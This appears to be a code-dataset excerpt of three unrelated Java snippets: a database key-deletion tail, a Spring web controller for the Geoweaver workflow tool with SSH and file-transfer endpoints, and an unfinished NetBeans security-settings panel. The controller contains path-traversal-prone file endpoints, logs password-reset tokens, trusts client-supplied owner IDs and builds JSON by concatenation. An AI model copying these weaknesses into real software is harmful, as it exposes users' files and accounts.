if (delKeyValue == null) {
throw new IOException("Failed to delete key " + objectKeyName
+ " because it is not found in DB");
}
metadataManager.delete(openKey);
} finally {
metadataManager.writeLock().unlock();
}
}
}
|
Java
|
@Controller
@RequestMapping(value="/web")
//@SessionAttributes({"SSHToken"})
//@RequestMapping("/Geoweaver/web")
public class GeoweaverController {
Logger logger = LoggerFactory.getLogger(getClass());
@Autowired
ProcessTool pt;
@Autowired
WorkflowTool wt;
@Autowired
HostTool ht;
@Autowired
BaseTool bt;
@Autowired
GWSearchTool st;
@Autowired
FileTool ft;
@Autowired
HistoryTool hist;
@Autowired
DashboardTool dbt;
@Autowired
EnvironmentTool et;
@Autowired
ExecutionTool ext;
@Autowired
SSHSession sshSession;
@Value("${geoweaver.upload_file_path}")
String upload_file_path;
@Autowired
UserTool ut;
public static SessionManager sessionManager;
static {
sessionManager = new SessionManager();
}
@PreDestroy
public void destroy() {
logger.debug("Callback triggered - @PreDestroy.");
sessionManager.closeAll();
}
@RequestMapping(value="/delAllHistory", method= RequestMethod.POST)
public @ResponseBody String delAllHistory(ModelMap model, WebRequest request){
String resp = null;
try{
String hostid = request.getParameter("id");
resp = hist.deleteAllHistoryByHost(hostid);
}catch(Exception e){
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value="/delNoNotesHistory", method = RequestMethod.POST)
public @ResponseBody String delNoNotesHistory(ModelMap model, WebRequest request){
String resp = null;
try{
String hostid = request.getParameter("id");
resp = hist.deleteNoNotesHistoryByHost(hostid);
}catch(Exception e){
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/del", method = RequestMethod.POST)
public @ResponseBody String del(ModelMap model, WebRequest request){
String resp = null;
try {
String id = request.getParameter("id");
String type = request.getParameter("type");
if(type.equals("host")) {
resp = ht.del(id);
}else if(type.equals("process")) {
resp = pt.del(id);
}else if(type.equals("workflow")) {
resp = wt.del(id);
}else if(type.equals("history")) {
resp = hist.deleteById(id);
}
}catch(Exception e) {
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/search", method = RequestMethod.POST)
public @ResponseBody String search(ModelMap model, WebRequest request){
String resp = null;
try {
String type = request.getParameter("type");
String keywords = request.getParameter("keywords");
resp = st.search(keywords, type);
}catch(Exception e) {
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/dashboard", method = RequestMethod.POST)
public @ResponseBody String dashboard(ModelMap model, WebRequest request){
String resp = null;
try {
resp = dbt.getJSON();
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/detail", method = RequestMethod.POST)
public @ResponseBody String detail(ModelMap model, WebRequest request){
String resp = null;
try {
String type = request.getParameter("type");
String id = request.getParameter("id");
if(type.equals("host")) {
resp = ht.detail(id);
}else if(type.equals("process")) {
resp = pt.detail(id);
}else if(type.equals("workflow")) {
resp = wt.detail(id);
}
}catch(Exception e) {
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/key", method = RequestMethod.POST)
public @ResponseBody String getpublickey(ModelMap model, WebRequest request, HttpSession session){
String resp = null;
try {
resp = RSAEncryptTool.getPublicKey(session.getId());
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
/**
* This is the password reset callback url
* @param token
* @param model
* @return
*/
@RequestMapping(value = "/reset_password", method = RequestMethod.GET)
public String showResetPasswordForm(@Param(value = "token") String token, Model model) {
if(!bt.isNull(token)){
System.err.print(token);
// User user = userService.getByResetPasswordToken(token);
String userid = ut.token2userid.get(token);
Date created_date = ut.token2date.get(token);
if(!bt.isNull(userid)){
long time_difference = new Date().getTime() - created_date.getTime();
//if the token is one hour old
if(time_difference<60*60*1000){
GWUser user = ut.getUserById(userid);
model.addAttribute("token", token);
if (user == null) {
// model.addAttribute("message", "Invalid Token");
return "Invalid Token";
}
}
}
}else{
model.addAttribute("error", "No Token. Invalid Link. ");
}
return "reset_password_form";
}
@RequestMapping(value = "/recent", method = RequestMethod.POST)
public @ResponseBody String recent_history(ModelMap model, WebRequest request){
String resp = null;
try {
String type = request.getParameter("type");
int number = Integer.parseInt(request.getParameter("number"));
if(type.equals("process")) {
resp = pt.recent(number);
}else if(type.equals("workflow")) {
resp = wt.recent(number);
}else if(type.equals("host")) {
String hid = request.getParameter("hostid");
resp = ht.recent(hid, number);
}
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/downloadworkflow", method = RequestMethod.POST)
public @ResponseBody String downloadworkflow(ModelMap model, WebRequest request){
String resp = null;
try {
String option = request.getParameter("option");
String wid = request.getParameter("id");
resp = wt.download(wid, option);
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
/**
* Get history of process or workflow
* @param model
* @param request
* @return
*/
@RequestMapping(value = "/log", method = RequestMethod.POST)
public @ResponseBody String one_history(ModelMap model, WebRequest request){
String resp = null;
try {
String type = request.getParameter("type");
String hid = request.getParameter("id");
if(type.equals("process")) {
resp = pt.one_history(hid);
}else if(type.equals("workflow")) {
resp = wt.one_history(hid);
}else if(type.equals("host")) {
resp = ht.one_history(hid);
}
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/workflow_process_log", method = RequestMethod.POST)
public @ResponseBody String workflow_process_log(ModelMap model, WebRequest request){
String resp = null;
try {
String workflowhistoryid = request.getParameter("workflowhistoryid");
String processid = request.getParameter("processid");
resp = hist.getWorkflowProcessHistory(workflowhistoryid, processid);
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/stop", method = RequestMethod.POST)
public @ResponseBody String stop(ModelMap model, WebRequest request){
String resp = null;
try {
String type = request.getParameter("type");
String id = request.getParameter("id");
if(type.equals("process")) {
resp = pt.stop( id);
}else if(type.equals("workflow")) {
resp = wt.stop(id);
}
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/logs", method = RequestMethod.POST)
public @ResponseBody String all_history(ModelMap model, WebRequest request){
String resp = null;
try {
String type = request.getParameter("type");
logger.debug("enter logs " + type);
String id = request.getParameter("id");
String isactive = request.getParameter("isactive");
if(type.equals("process")) {
if(bt.isNull(id)) {
if("true".equals(isactive)) {
resp = pt.all_active_process();
// resp = pt.all_history(id);
}else {
//return all process running history
//zero processes
}
}else {
resp = pt.all_history(id);
}
}else if(type.equals("workflow")) {
if(bt.isNull(id)) {
if("true".equals(isactive)) {
resp = wt.all_active_process();
}
}else {
resp = wt.all_history(id);
}
}
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/env", method = RequestMethod.POST)
public @ResponseBody String env(ModelMap model, WebRequest request){
String resp = null;
try {
String hid = request.getParameter("hid");
resp = et.getEnvironments(hid);
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/listhostwithenvironments", method = RequestMethod.POST)
public @ResponseBody String listhostwithenvironments(ModelMap model, WebRequest request, HttpSession session, HttpServletRequest httprequest){
String resp = null;
try {
String ownerid = ut.getAuthUserId(session.getId(), ut.getClientIp(httprequest));
resp = ht.list(ownerid);
}catch(Exception e) {
e.printStackTrace();
resp = "{\"ret\": \"failure\", \"reason\": \"Database Query Error.\"}";
}
return resp;
}
@RequestMapping(value = "/list", method = RequestMethod.POST)
public @ResponseBody String list(ModelMap model, WebRequest request, HttpSession session, HttpServletRequest httprequest){
String resp = null;
try {
String type = request.getParameter("type");
String ownerid = ut.getAuthUserId(session.getId(), ut.getClientIp(httprequest));
if(type.equals("host")) {
resp = ht.list(ownerid);
}else if(type.equals("process")) {
resp = pt.list(ownerid);
}else if(type.equals("workflow")) {
resp = wt.list(ownerid);
}
}catch(Exception e) {
e.printStackTrace();
resp = "{\"ret\": \"failure\", \"reason\": \"Database Query Error.\"}";
}
return resp;
}
@RequestMapping(value = "/checkLiveSession", method = RequestMethod.POST)
public @ResponseBody String checklivesession(ModelMap model, WebRequest request){
String resp = null;
try {
String hid = request.getParameter("hostId");
resp = "{\"exist\": false}";
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/closefilebrowser", method = RequestMethod.POST)
public @ResponseBody String closefileBrowser(ModelMap model, WebRequest request, HttpSession session) {
String resp = null;
try {
ft.close_browser(session.getId());
resp = "{ \"ret\": \"success\"}";
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException(e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/openfilebrowser", method = RequestMethod.POST)
public @ResponseBody String fileBrowser(ModelMap model, WebRequest request, HttpSession session) {
String resp = null;
try {
String hid = request.getParameter("hid");
String encrypted = request.getParameter("pswd");
String init_path = request.getParameter("init_path");
if(!bt.isNull(encrypted)) {
String password = RSAEncryptTool.getPassword(encrypted, session.getId());
resp = ft.open_sftp_browser(hid, password, init_path, session.getId());
}else {
resp = ft.continue_browser(session.getId(), init_path);
}
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException(e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/retrievefile", method = RequestMethod.POST)
public @ResponseBody String scpdownload(ModelMap model, WebRequest request, HttpSession session) {
String resp = null;
try {
String filepath = request.getParameter("filepath");
resp = ft.scp_download(filepath,session.getId());
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException(e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/download/{tempfolder}/{filename}", method = RequestMethod.GET)
public ResponseEntity<Resource> fileGetter(ModelMap model, @PathVariable(value="tempfolder") String tempfolder,
@PathVariable(value="filename") String filename, WebRequest request, HttpSession session) {
ResponseEntity<Resource> resp = null;
try {
if(tempfolder.equals(upload_file_path)) {
HttpHeaders headers = new HttpHeaders();
headers.add("Cache-Control", "no-cache, no-store, must-revalidate");
headers.add("Pragma", "no-cache");
headers.add("Expires", "0");
// String filename = "";
headers.add(HttpHeaders.CONTENT_DISPOSITION, "attachment; filename=" + filename);
File file = new File(bt.getFileTransferFolder() + filename);
InputStreamResource resource = new InputStreamResource(new FileInputStream(file));
resp = ResponseEntity.ok()
.headers(headers)
.contentLength(file.length())
.contentType(MediaType.APPLICATION_OCTET_STREAM)
.body(resource);
}
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException(e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/updatefile", method = RequestMethod.POST)
public @ResponseBody String fileEditor(ModelMap model, WebRequest request, HttpSession session) {
String resp = null;
try {
String filepath = request.getParameter("filepath");
String content = request.getParameter("content");
resp = ft.scp_fileeditor(filepath, content, session.getId());
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException(e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value="/readEnvironment", method = RequestMethod.POST)
public @ResponseBody String readPythonEnvironment(ModelMap model, WebRequest request, HttpSession session){
String resp = null;
try{
String hid = request.getParameter("hostid");
String password = request.getParameter("pswd");
password = RSAEncryptTool.getPassword(password, session.getId());
resp = ext.readEnvironment(hid, password);
}catch(Exception e){
e.printStackTrace();
resp = bt.getErrorReturn(e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/executeWorkflow", method = RequestMethod.POST)
public @ResponseBody String executeWorkflow(ModelMap model, WebRequest request, HttpSession session){
String resp = null;
try {
String id = request.getParameter("id");
String mode = request.getParameter("mode");
String token = request.getParameter("token");
// if(bt.isNull(token)){
// token = session.getId(); // the token from client is useless
String history_id = bt.isNull(request.getParameter("history_id"))?
new RandomString(18).nextString(): request.getParameter("history_id");
String[] hosts = request.getParameterValues("hosts[]");
String[] encrypted_password = request.getParameterValues("passwords[]");
String[] environments = request.getParameterValues("envs[]");
String[] passwords = RSAEncryptTool.getPasswords(encrypted_password, session.getId());
// resp = wt.execute(id, mode, hosts, passwords, session.getId());
resp = wt.execute(history_id, id, mode, hosts, passwords, environments, token);
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
/**
* Add local file as a new process
* @param model
* @param request
* @param session
* @return
*/
@RequestMapping(value = "/addLocalFile", method = RequestMethod.POST)
public @ResponseBody String addLocalFile(ModelMap model, WebRequest request, HttpSession session){
String resp = null;
try {
String filepath = request.getParameter("filepath");
String hid = request.getParameter("hid");
String type = request.getParameter("type");
String content = request.getParameter("content");
String name = request.getParameter("name");
String ownerid = request.getParameter("ownerid");
String confidential = request.getParameter("confidential");
String pid = pt.add_database(name, type, content, filepath, hid, ownerid, confidential);
resp = "{\"id\" : \"" + pid + "\", \"name\":\"" + name + "\", \"desc\" : \""+ type +"\" }";
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/executeProcess", method = RequestMethod.POST)
public @ResponseBody String executeProcess(ModelMap model, WebRequest request, HttpSession session){
String resp = null;
try {
String pid = request.getParameter("processId");
String hid = request.getParameter("hostId");
String encrypted_password = request.getParameter("pswd");
String token = request.getParameter("token");
String bin = request.getParameter("env[bin]");
String pyenv = request.getParameter("env[pyenv]");
String basedir = request.getParameter("env[basedir]");
String password = RSAEncryptTool.getPassword(encrypted_password, session.getId());
String history_id = bt.isNull(request.getParameter("history_id"))?new RandomString(12).nextString(): request.getParameter("history_id");
resp = ext.executeProcess(history_id, pid, hid, password, token, false, bin, pyenv, basedir);
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/preload/workflow", method = RequestMethod.POST)
public @ResponseBody String preloadworkflow(ModelMap model, WebRequest request){
String resp = null;
try {
String filename = request.getParameter("filename");
resp = wt.precheck(filename);
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/load/workflow", method = RequestMethod.POST)
public @ResponseBody String loadworkflow(ModelMap model, WebRequest request){
String resp = null;
try {
String wid = request.getParameter("id");
String filename = request.getParameter("filename");
resp = wt.saveWorkflowFromFolder(wid, filename);
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/edit/process", method = RequestMethod.POST)
public @ResponseBody String editprocess(ModelMap model, @RequestBody GWProcess up, WebRequest request){
String resp = null;
try {
checkID(up.getId());
pt.save(up);
resp = "{\"id\" : \"" + up.getId() + "\"}";
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/edit/workflow", method = RequestMethod.POST)
public @ResponseBody String editworkflow(ModelMap model, @RequestBody Workflow w, WebRequest request){
String resp = null;
try {
checkID(w.getId());
wt.save(w);
resp = "{\"id\" : \"" + w.getId() + "\"}";
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/edit", method = RequestMethod.POST)
public @ResponseBody String edit(ModelMap model, WebRequest request){
String resp = null;
try {
String type = request.getParameter("type");
if(type.equals("host")) {
String hostid = request.getParameter("hostid");
checkID(hostid);
String hostname = request.getParameter("hostname");
String hostip = request.getParameter("hostip");
String hostport = request.getParameter("hostport");
String username = request.getParameter("username");
String hosttype = request.getParameter("hosttype");
String confidential = request.getParameter("confidential");
String url = request.getParameter("url");
ht.update(hostid, hostname, hostip, hostport, username, hosttype, null, url, confidential);
resp = "{ \"hostid\" : \"" + hostid + "\", \"hostname\" : \""+ hostname + "\" }";
}else if(type.equals("history")){
String hisid = request.getParameter("id");
String notes = request.getParameter("notes");
hist.updateNotes(hisid, notes);
resp = "{\"id\" : \"" + hisid + "\"}";
}
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/file/{file_name}", method = RequestMethod.GET)
public void getFile(@PathVariable("file_name") String fileName, HttpServletResponse response) {
try {
// get your file as InputStream
String fileloc = bt.getFileTransferFolder() + "/" + fileName;
File my_file = new File(fileloc);
InputStream is = new FileInputStream(my_file);
// copy it to response's OutputStream
org.apache.commons.io.IOUtils.copy(is, response.getOutputStream());
response.flushBuffer();
} catch (Exception ex) {
logger.error("Error writing file to output stream. Filename was " + fileName + " - " + ex);
throw new RuntimeException("IOError writing file to output stream");
}
}
/**
* upload file to remote host
* @param model
* @param request
* @param session
* @return
*/
@RequestMapping(value = "/upload", method = RequestMethod.POST)
public @ResponseBody String upload(ModelMap model, WebRequest request, HttpSession session){
String resp = null;
try {
String rel_filepath = request.getParameter("filepath");
String rel_url = "download/"+upload_file_path+"/";
String filename = rel_filepath.substring(rel_url.length());
String filepath = bt.getFileTransferFolder() + "/" + filename;
String hid = request.getParameter("hid");
String encrypted = request.getParameter("encrypted");
String password = RSAEncryptTool.getPassword(encrypted, session.getId());
resp = ft.scp_upload(hid, password, filepath);
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/retrieve", method = RequestMethod.POST)
public @ResponseBody String retrieve(ModelMap model, WebRequest request, HttpSession session){
//retrieve file from remote to geoweaver
String resp = null;
try {
String hid = request.getParameter("hostid");
String encrypted = request.getParameter("pswd");
String password = RSAEncryptTool.getPassword(encrypted, session.getId());
String filepath = request.getParameter("filepath");
resp = ft.scp_download(hid, password, filepath);
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/add/process", method = RequestMethod.POST)
public @ResponseBody String addProcess(ModelMap model, @RequestBody GWProcess np, WebRequest request){
String resp = null;
try {
String ownerid = bt.isNull(np.getOwner())?"111111":np.getOwner();
np.setOwner(ownerid);
String newid = new RandomString(6).nextString();
np.setId(newid);
np.setCode(np.getCode());
pt.save(np);
resp = "{\"id\" : \"" + newid + "\", \"name\":\"" + np.getName() + "\", \"lang\": \""+np.getDescription()+"\"}";
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/add/host", method = RequestMethod.POST)
public @ResponseBody String addHost(ModelMap model, Host h, WebRequest request){
String resp = null;
try {
String ownerid = bt.isNull(h.getOwner())?"111111":h.getOwner();
h.setOwner(ownerid);
String newhostid = new RandomString(6).nextString();
h.setId(newhostid);
ht.save(h);
resp = "{ \"id\" : \"" + h.getId() + "\", \"name\" : \""+ h.getName() + "\", \"type\": \"" + h.getType() + "\" }";
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/add/workflow", method = RequestMethod.POST)
public @ResponseBody String addWorkflow(ModelMap model, @RequestBody Workflow w, WebRequest request){
String resp = null;
try {
String ownerid = bt.isNull(w.getOwner())?"111111":w.getOwner();
w.setOwner(ownerid);
String newwid = new RandomString(20).nextString();
w.setId(newwid);
wt.save(w);
resp = "{\"id\" : \"" + newwid + "\", \"name\":\"" + w.getName() + "\"}";
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/add", method = RequestMethod.POST)
public @ResponseBody String add(ModelMap model, WebRequest request){
String resp = null;
try {
String type = request.getParameter("type");
if(type.equals("host")) {
String hostname = request.getParameter("hostname");
String hostip = request.getParameter("hostip");
String hostport = request.getParameter("hostport");
String username = request.getParameter("username");
String hosttype = request.getParameter("hosttype");
String url = request.getParameter("url");
String confidential = request.getParameter("confidential");
String ownerid = bt.isNull(request.getParameter("ownerid"))?"111111":request.getParameter("ownerid");
String hostid = ht.add(hostname, hostip, hostport, username, url, hosttype, ownerid, confidential);
resp = "{ \"id\" : \"" + hostid + "\", \"name\" : \""+ hostname + "\", \"type\": \""+hosttype+"\" }";
}else if(type.equals("process")) {
String lang = request.getParameter("lang");
String name = request.getParameter("name");
String desc = request.getParameter("desc");
String ownerid = bt.isNull(request.getParameter("ownerid"))?"111111":request.getParameter("ownerid");
String confidential = request.getParameter("confidential");
String code = null;
if(lang.equals("shell")) {
code = request.getParameter("code");
}else if(lang.equals("builtin")) {
String operation = request.getParameter("code[operation]");
code = "{ \"operation\" : \"" + operation + "\", \"params\":[";
List params = new ArrayList();
int i=0;
while(request.getParameter("code[params]["+i+"][name]")!=null) {
if(i!=0) {
code += ", ";
}
code += "{ \"name\": \"" + request.getParameter("code[params]["+i+"][name]") + "\", \"value\": \"" + request.getParameter("code[params]["+i+"][value]") + "\" }";
i++;
}
code += "] }";
}else if(lang.equals("jupyter")) {
code = request.getParameter("code");
}else {
code = request.getParameter("code");
}
String pid = pt.add(name, lang, code, desc, ownerid, confidential);
resp = "{\"id\" : \"" + pid + "\", \"name\":\"" + name + "\", \"lang\": \""+lang+"\"}";
}else if(type.equals("workflow")) {
String name = request.getParameter("name");
String nodes = request.getParameter("nodes");
String edges = request.getParameter("edges");
String ownerid = bt.isNull(request.getParameter("ownerid"))?"111111":request.getParameter("ownerid");
String wid = wt.add(name, nodes, edges, ownerid);
resp = "{\"id\" : \"" + wid + "\", \"name\":\"" + name + "\"}";
}
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException("failed " + e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/geoweaver-ssh", method = RequestMethod.GET)
public String sshterminal(ModelMap model, WebRequest request, SessionStatus status, HttpSession session){
String token = request.getParameter("token");
logger.debug("token : " + token);
String resp = "redirect:geoweaver-ssh-login";
//here should validate the token
if(token != null){
SSHSession ss = sessionManager.sshSessionByToken.get(token);
if(ss!=null) {
model.addAttribute("host", ss.getHost());
model.addAttribute("username", ss.getUsername());
model.addAttribute("port", ss.getPort());
model.addAttribute("token", ss.getToken());
resp = "geoweaver-ssh";
}
}
return resp;
}
@RequestMapping(value = "/geoweaver-ssh-logout-inbox", method = RequestMethod.POST)
public @ResponseBody String ssh_close_inbox(Model model, WebRequest request, HttpSession session){
String resp = "";
try {
String token = request.getParameter("token");
if(token != null) {
SSHSession s = sessionManager.sshSessionByToken.get(token);
if(s != null) {
s.logout();
sessionManager.sshSessionByToken.remove(token);
}
}
resp = "done";
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException();
}
return resp;
}
@RequestMapping(value = "/geoweaver-ssh-login-inbox", method = RequestMethod.POST)
public @ResponseBody String ssh_auth_inbox(Model model, WebRequest request, HttpSession session){
String resp = "";
try {
String host = request.getParameter("host");
String port = request.getParameter("port");
String username = request.getParameter("username");
String encrypted = request.getParameter("password");
String password = RSAEncryptTool.getPassword(encrypted, session.getId());
String token = session.getId(); //use session id as token
boolean success = sshSession.login(host, port, username, password, token, true);
logger.debug("SSH login: " + username + "=" + success);
logger.debug("adding SSH session for " + username);
sessionManager.sshSessionByToken.put(token, sshSession); //token is session id
resp = "{\"token\": \""+token+"\"}";
}catch(Exception e) {
e.printStackTrace();
throw new RuntimeException(e.getLocalizedMessage());
}
return resp;
}
@RequestMapping(value = "/geoweaver-ssh-login", method = RequestMethod.POST)
public String ssh_auth(Model model, WebRequest request, HttpSession session){
String resp = "redirect:geoweaver-ssh";
try {
String host = request.getParameter("host");
String port = request.getParameter("port");
String username = request.getParameter("username");
String password = request.getParameter("password");
String token = null;
if(bt.isNull(sessionManager.sshSessionByToken.get(host+"-"+username))) {
token = new RandomString(16).nextString();
boolean success = sshSession.login(host, port, username, password, token, true);
logger.debug("SSH login: "+username+"=" + success);
logger.debug("adding SSH session for " + username);
sessionManager.sshSessionByToken.put(token, sshSession);
}
model.addAttribute("host", host);
model.addAttribute("username", username);
model.addAttribute("port", port);
model.addAttribute("token", token);
}catch(Exception e) {
e.printStackTrace();
}
return resp;
}
@RequestMapping(value = "/geoweaver-ssh-login", method = RequestMethod.GET)
public String ssh_login(Model model, WebRequest request, HttpSession session){
String resp = "geoweaver-ssh-login";
return resp;
}
@RequestMapping("/error")
public String handleError() {
//do something like logging
return "error";
}
void checkID(String id) {
if(bt.isNull(id))
throw new RuntimeException("No ID found");
}
}
|
Java
|
public class AdvancedSecurityPanel extends JPanel {
private Binding binding;
private boolean inSync = false;
private DefaultFormatterFactory freshnessff = null;
private DefaultFormatterFactory skewff = null;
private ConfigVersion cfgVersion = null;
public AdvancedSecurityPanel(Binding binding, ConfigVersion cfgVersion) {
this.binding = binding;
this.cfgVersion = cfgVersion;
freshnessff = new DefaultFormatterFactory();
NumberFormat freshnessFormat = NumberFormat.getIntegerInstance();
freshnessFormat.setGroupingUsed(false);
NumberFormatter freshnessFormatter = new NumberFormatter(freshnessFormat);
freshnessFormat.setMaximumIntegerDigits(8);
freshnessFormatter.setCommitsOnValidEdit(true);
freshnessFormatter.setMinimum(0);
freshnessFormatter.setMaximum(99999999);
freshnessff.setDefaultFormatter(freshnessFormatter);
skewff = new DefaultFormatterFactory();
NumberFormat skewFormat = NumberFormat.getIntegerInstance();
skewFormat.setGroupingUsed(false);
NumberFormatter skewFormatter = new NumberFormatter(skewFormat);
skewFormat.setMaximumIntegerDigits(8);
skewFormatter.setCommitsOnValidEdit(true);
skewFormatter.setMinimum(0);
skewFormatter.setMaximum(99999999);
skewff.setDefaultFormatter(skewFormatter);
initComponents();
sync();
}
private void sync() {
inSync = true;
String maxClockSkew = ProprietarySecurityPolicyModelHelper.getMaxClockSkew(binding);
if (maxClockSkew == null) { // no setup exists yet - set the default
setMaxClockSkew(ProprietarySecurityPolicyModelHelper.DEFAULT_MAXCLOCKSKEW);
} else {
setMaxClockSkew(maxClockSkew);
}
String freshnessLimit = ProprietarySecurityPolicyModelHelper.getTimestampFreshness(binding);
if (freshnessLimit == null) { // no setup exists yet - set the default
setFreshness(ProprietarySecurityPolicyModelHelper.DEFAULT_TIMESTAMPFRESHNESS);
} else {
setFreshness(freshnessLimit);
}
setRevocation(ProprietarySecurityPolicyModelHelper.isRevocationEnabled(binding));
enableDisable();
inSync = false;
}
private Number getMaxClockSkew() {
return (Number) this.maxClockSkewField.getValue();
}
private void setMaxClockSkew(String value) {
this.maxClockSkewField.setText(value);
}
private Number getFreshness() {
return (Number) this.freshnessField.getValue();
}
private void setFreshness(String value) {
this.freshnessField.setText(value);
}
private void setRevocation(Boolean enable) {
if (enable == null) {
this.revocationChBox.setSelected(false);
} else {
this.revocationChBox.setSelected(enable);
}
}
public Boolean getRevocation() {
if (revocationChBox.isSelected()) {
return Boolean.TRUE;
}
return Boolean.FALSE;
}
public void storeState() {
ProprietarySecurityPolicyModelHelper.setRevocation(binding, revocationChBox.isSelected(), false);
Number freshness = getFreshness();
if ((freshness == null) ||
(ProprietarySecurityPolicyModelHelper.DEFAULT_TIMESTAMPFRESHNESS.equals(freshness.toString()))) {
ProprietarySecurityPolicyModelHelper.setTimestampFreshness(binding, null, false);
} else {
ProprietarySecurityPolicyModelHelper.setTimestampFreshness(binding, freshness.toString(), false);
}
Number skew = getMaxClockSkew();
if ((skew == null) || (ProprietarySecurityPolicyModelHelper.DEFAULT_MAXCLOCKSKEW.equals(skew.toString()))) {
ProprietarySecurityPolicyModelHelper.setMaxClockSkew(binding, null, false);
} else {
ProprietarySecurityPolicyModelHelper.setMaxClockSkew(binding, skew.toString(), false);
}
}
private void enableDisable() {
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
maxClockSkewLabel = new javax.swing.JLabel();
freshnessLabel = new javax.swing.JLabel();
freshnessField = new javax.swing.JFormattedTextField();
maxClockSkewField = new javax.swing.JFormattedTextField();
revocationChBox = new javax.swing.JCheckBox();
maxClockSkewLabel.setText(org.openide.util.NbBundle.getMessage(AdvancedSecurityPanel.class, "LBL_AdvancedSec_maxClockSkew")); // NOI18N
freshnessLabel.setText(org.openide.util.NbBundle.getMessage(AdvancedSecurityPanel.class, "LBL_AdvancedSec_TimestampFreshnessLabel")); // NOI18N
freshnessField.setFormatterFactory(freshnessff);
maxClockSkewField.setColumns(8);
maxClockSkewField.setFormatterFactory(skewff);
revocationChBox.setText(org.openide.util.NbBundle.getMessage(AdvancedSecurityPanel.class, "LBL_AdvancedSec_Revocation")); // NOI18N
revocationChBox.setBorder(javax.swing.BorderFactory.createEmptyBorder(0, 0, 0, 0));
revocationChBox.setMargin(new java.awt.Insets(0, 0, 0, 0));
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(freshnessLabel)
.addComponent(maxClockSkewLabel))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(maxClockSkewField, javax.swing.GroupLayout.DEFAULT_SIZE, 107, Short.MAX_VALUE)
